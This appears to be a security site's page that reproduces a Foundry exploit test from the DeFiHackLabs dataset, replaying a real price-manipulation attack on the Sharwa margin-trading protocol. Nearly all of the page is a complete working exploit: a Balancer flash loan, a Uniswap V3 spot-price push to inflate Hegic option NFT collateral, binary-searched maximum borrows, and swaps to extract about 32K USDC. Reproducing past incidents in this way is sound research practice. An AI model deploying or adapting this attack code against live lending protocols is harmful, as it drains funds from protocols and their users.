Public reproduction file
src/test/2026-05/SharwaMarginTrading_exp.sol
Public reproduction file for dataset entry SharwaMarginTrading.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 32.85K USDC8// Attacker : 0x4551835e7c40d2a3d407c89d6a91eff98285c6819// Attack Contract : 0x7e3c13314ceefc7578242d5eae9ed4dcbeb8d37710// Vulnerable Contract : 0x729cf665c09ef112c607290415a566fffa45826f11// Attack Tx : https://arbiscan.io/tx/0x05cfcfe9bdf8d19aaea3ba417e6559aee37c82120974e75335d06e56030f4dad13// @Info14// Vulnerable Contract Code : https://arbiscan.io/address/0x729cf665c09ef112c607290415a566fffa45826f#code16// @Analysis17// Twitter Guy : https://t.me/defimon_alerts/297518//19// Sharwa valued Hegic option NFT collateral through a Uniswap V3 spot Quoter path. The attacker transferred the20// option NFT into a receiver contract, used the ERC721 callback to manipulate the USDC/USDC.e spot price, deposited21// the option as collateral, borrowed USDC/WETH/WBTC, swapped the proceeds back to USDC, repaid Balancer, and kept22// the remaining USDC.24address constant ATTACKER = 0x4551835e7C40d2A3D407C89D6a91eFF98285C681;25address constant HEGIC_POSITIONS_MANAGER = 0x5Fe380D68fEe022d8acd42dc4D36FbfB249a76d5;26address constant MARGIN_ACCOUNT_MANAGER = 0x7FBcAAd6DE35F10121707509050035ff9Ec8dAfd;27address constant SHARWA_ROUTER = 0x5b2f774050d590d54165872E4297cF9D2D90eD54;28address constant MARGIN_ACCOUNT = 0x069cdfF47380bFcFa40D84f70834779DAaE96726;29address constant BALANCER_VAULT = 0xBA12222222228d8Ba445958a75a0704d566BF2C8;30address constant UNISWAP_V3_ROUTER = 0xE592427A0AEce92De3Edee1F18E0157C05861564;31address constant USDC_TOKEN = 0xaf88d065e77c8cC2239327C5EDb3A432268e5831;32address constant USDC_E_TOKEN = 0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8;33address constant WETH_TOKEN = 0x82aF49447D8a07e3bd95BD0d56f35241523fBab1;34address constant WBTC_TOKEN = 0x2f2a2543B76A4166549F7aaB2e75Bef0aefC5B0f;36uint256 constant HEGIC_OPTION_ID = 16_129;37uint24 constant UNISWAP_FEE = 500;39interface IMarginAccountManager {40 function createMarginAccount() external returns (uint256);41}43interface ISharwaMarginRouter {44 function provideERC721(45 uint256 marginAccountID,46 address token,47 uint256 collateralTokenID48 ) external;49 function borrow(50 uint256 marginAccountID,51 address token,52 uint256 amount53 ) external;54 function withdrawERC20(55 uint256 marginAccountID,56 address token,57 uint256 amount58 ) external;59}61interface ISharwaMarginAccount {62 function tokenToLiquidityPool(63 address token64 ) external view returns (address);65}67interface IERC721Receiver {68 function onERC721Received(69 address operator,70 address from,71 uint256 tokenId,72 bytes calldata data73 ) external returns (bytes4);74}76contract ContractTest is BaseTestWithBalanceLog {77 SharwaMarginTradingExploit private exploit;79 function setUp() public {80 uint256 forkBlock = 458_233_155;81 vm.createSelectFork("arbitrum", forkBlock);83 fundingToken = USDC_TOKEN;84 attacker = ATTACKER;85 exploit = new SharwaMarginTradingExploit(ATTACKER);87 vm.label(ATTACKER, "Attacker / Profit Receiver");88 vm.label(address(exploit), "Local Attack Receiver");89 vm.label(HEGIC_POSITIONS_MANAGER, "Hegic PositionsManager");90 vm.label(MARGIN_ACCOUNT_MANAGER, "Sharwa MarginAccountManager");91 vm.label(SHARWA_ROUTER, "Sharwa MarginTradingRouter");92 vm.label(BALANCER_VAULT, "Balancer Vault");93 vm.label(UNISWAP_V3_ROUTER, "Uniswap V3 Router");94 vm.label(USDC_TOKEN, "USDC");95 vm.label(USDC_E_TOKEN, "USDC.e");96 vm.label(WETH_TOKEN, "WETH");97 vm.label(WBTC_TOKEN, "WBTC");98 }100 function testExploit() public balanceLog {101 uint256 attackerUsdcBefore = IERC20(USDC_TOKEN).balanceOf(ATTACKER);103 vm.prank(ATTACKER);104 IERC721(HEGIC_POSITIONS_MANAGER).safeTransferFrom(ATTACKER, address(exploit), HEGIC_OPTION_ID);106 uint256 profit = IERC20(USDC_TOKEN).balanceOf(ATTACKER) - attackerUsdcBefore;107 assertGt(profit, 32_000_000_000, "USDC profit");108 }109}111contract SharwaMarginTradingExploit is IERC721Receiver {112 address private immutable profitReceiver;113 uint256 private activeMarginAccountId;115 constructor(116 address _profitReceiver117 ) {118 profitReceiver = _profitReceiver;119 }121 function onERC721Received(122 address,123 address,124 uint256 tokenId,125 bytes calldata126 ) external override returns (bytes4) {127 if (msg.sender == HEGIC_POSITIONS_MANAGER && tokenId == HEGIC_OPTION_ID) {128 startFlashLoan();129 }130 return IERC721Receiver.onERC721Received.selector;131 }133 function receiveFlashLoan(134 address[] memory,135 uint256[] memory amounts,136 uint256[] memory feeAmounts,137 bytes memory138 ) external {139 require(msg.sender == BALANCER_VAULT, "not balancer");141 // step 1: push USDC into the thin USDC/USDC.e pool before Sharwa values the Hegic option.142 approveMax(USDC_TOKEN, UNISWAP_V3_ROUTER);143 swapExactInput(USDC_TOKEN, USDC_E_TOKEN, amounts[0]);145 // step 2: create a Sharwa margin account and deposit the callback-received Hegic option NFT.146 activeMarginAccountId = IMarginAccountManager(MARGIN_ACCOUNT_MANAGER).createMarginAccount();147 IERC721(HEGIC_POSITIONS_MANAGER).approve(SHARWA_ROUTER, HEGIC_OPTION_ID);148 ISharwaMarginRouter(SHARWA_ROUTER)149 .provideERC721(activeMarginAccountId, HEGIC_POSITIONS_MANAGER, HEGIC_OPTION_ID);151 // step 3: borrow the USDC amount Sharwa permits, then spend it into the same spot pool.152 borrowAndWithdrawMax(USDC_TOKEN);153 swapExactInput(USDC_TOKEN, USDC_E_TOKEN, IERC20(USDC_TOKEN).balanceOf(address(this)));155 // step 4: borrow the other supported assets against the inflated option value.156 borrowAndWithdrawMax(WETH_TOKEN);157 borrowAndWithdrawMax(WBTC_TOKEN);159 // step 5: unwind borrowed assets and remaining USDC.e back to USDC.160 approveMax(WETH_TOKEN, UNISWAP_V3_ROUTER);161 approveMax(WBTC_TOKEN, UNISWAP_V3_ROUTER);162 approveMax(USDC_E_TOKEN, UNISWAP_V3_ROUTER);163 swapExactInput(WETH_TOKEN, USDC_TOKEN, IERC20(WETH_TOKEN).balanceOf(address(this)));164 swapExactInput(WBTC_TOKEN, USDC_TOKEN, IERC20(WBTC_TOKEN).balanceOf(address(this)));165 swapExactInput(USDC_E_TOKEN, USDC_TOKEN, IERC20(USDC_E_TOKEN).balanceOf(address(this)));167 // step 6: repay Balancer and forward the remaining USDC to the historical profit receiver.168 IERC20(USDC_TOKEN).transfer(BALANCER_VAULT, amounts[0] + feeAmounts[0]);169 IERC20(USDC_TOKEN).transfer(profitReceiver, IERC20(USDC_TOKEN).balanceOf(address(this)));170 }172 function probeBorrowAndWithdraw(173 address token,174 uint256 amount175 ) external {176 require(msg.sender == address(this), "not self");177 borrowAndWithdraw(token, amount);178 revert BorrowProbeSucceeded();179 }181 function startFlashLoan() private {182 address[] memory tokens = new address[](1);183 tokens[0] = USDC_TOKEN;185 uint256[] memory amounts = new uint256[](1);186 amounts[0] = 22_000_000_000;188 IBalancerVault(BALANCER_VAULT).flashLoan(address(this), tokens, amounts, "");189 }191 function borrowAndWithdrawMax(192 address token193 ) private returns (uint256 amount) {194 address liquidityPool = ISharwaMarginAccount(MARGIN_ACCOUNT).tokenToLiquidityPool(token);195 uint256 high = IERC20(token).balanceOf(liquidityPool) + 1;196 uint256 low = 0;198 while (low + 1 < high) {199 uint256 mid = (low + high) / 2;200 if (canBorrowAndWithdraw(token, mid)) {201 low = mid;202 } else {203 high = mid;204 }205 }207 borrowAndWithdraw(token, low);208 return low;209 }211 function canBorrowAndWithdraw(212 address token,213 uint256 amount214 ) private returns (bool) {215 if (amount == 0) return true;217 try this.probeBorrowAndWithdraw(token, amount) {218 return false;219 } catch (bytes memory reason) {220 return errorSelector(reason) == BorrowProbeSucceeded.selector;221 }222 }224 function borrowAndWithdraw(225 address token,226 uint256 amount227 ) private {228 ISharwaMarginRouter(SHARWA_ROUTER).borrow(activeMarginAccountId, token, amount);229 ISharwaMarginRouter(SHARWA_ROUTER).withdrawERC20(activeMarginAccountId, token, amount);230 }232 function swapExactInput(233 address tokenIn,234 address tokenOut,235 uint256 amountIn236 ) private returns (uint256 amountOut) {237 if (amountIn == 0) return 0;238 amountOut = Uni_Router_V3(UNISWAP_V3_ROUTER)239 .exactInputSingle(240 Uni_Router_V3.ExactInputSingleParams({241 tokenIn: tokenIn,242 tokenOut: tokenOut,243 fee: UNISWAP_FEE,244 recipient: address(this),245 deadline: block.timestamp + 300,246 amountIn: amountIn,247 amountOutMinimum: 0,248 sqrtPriceLimitX96: 0249 })250 );251 }253 function approveMax(254 address token,255 address spender256 ) private {257 IERC20(token).approve(spender, type(uint256).max);258 }260 function errorSelector(261 bytes memory reason262 ) private pure returns (bytes4 selector) {263 if (reason.length < 4) return bytes4(0);264 assembly {265 selector := mload(add(reason, 0x20))266 }267 }268}270error BorrowProbeSucceeded();Analysis
Dataset entry
Public Foundry test for “SharwaMarginTrading” (2026-05-01). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2026-05/AdsharesBridge_exp.solSame month in the dataset · 67 lines
- src/test/2026-05/AROS_exp.solSame month in the dataset · 326 lines
- src/test/2026-05/DxSale_exp.solSame month in the dataset · 70 lines
- src/test/2026-05/Ekubo_exp.solSame month in the dataset · 107 lines
- src/test/2026-05/ElevateFi_exp.solSame month in the dataset · 144 lines
- src/test/2026-05/FractalProtocol_exp.solSame month in the dataset · 243 lines
- src/test/2026-05/HumaCreditApprovalBypass_exp.solSame month in the dataset · 101 lines
- src/test/2026-05/INKFinance_exp.solSame month in the dataset · 118 lines
- src/test/2026-05/JoeAgent_exp.solSame month in the dataset · 184 lines
- src/test/2026-05/LegendaryMoneyMonNft_exp.solSame month in the dataset · 145 lines
- src/test/2026-05/MAPProtocol_exp.solSame month in the dataset · 82 lines
- src/test/2026-05/MureDistribution_exp.solSame month in the dataset · 172 lines
- src/test/2026-05/NewMarketTrading_exp.solSame month in the dataset · 212 lines
- src/test/2026-05/Renegade_exp.solSame month in the dataset · 224 lines
- src/test/2026-05/SEAToken_exp.solSame month in the dataset · 165 lines
- src/test/2026-05/SKP_exp.solSame month in the dataset · 118 lines
- src/test/2026-05/SQTokenStaking_exp.solSame month in the dataset · 136 lines
- src/test/2026-05/SquidRouterModule_exp.solSame month in the dataset · 213 lines
- src/test/2026-05/TesseraSwap_exp.solSame month in the dataset · 125 lines
- src/test/2026-05/TrustedVolumes_exp.solSame month in the dataset · 190 lines
- src/test/2026-05/VerusBridge_exp.solSame month in the dataset · 251 lines
- src/test/2026-05/WUSD_exp.solSame month in the dataset · 339 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x4551835e7c40d2a3d407c89d6a91eff98285c681
- Attack Contract
0x7e3c13314ceefc7578242d5eae9ed4dcbeb8d377
- Vulnerable Contract
0x729cf665c09ef112c607290415a566fffa45826f
- Attack Tx
0x05cfcfe9bdf8d19aaea3ba417e6559aee37c82120974e75335d06e56030f4dad
File record
- Name
- SharwaMarginTrading
- Path
- src/test/2026-05/SharwaMarginTrading_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- ddfd30b52d6b1c495197e67c214b1d8c20c98097
- Language
- Solidity
- Size
- 271 lines
- Date
- 2026-05-01
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-05/SharwaMarginTrading_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob ddfd30b52d6b1c495197e67c214b1d8c20c98097, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.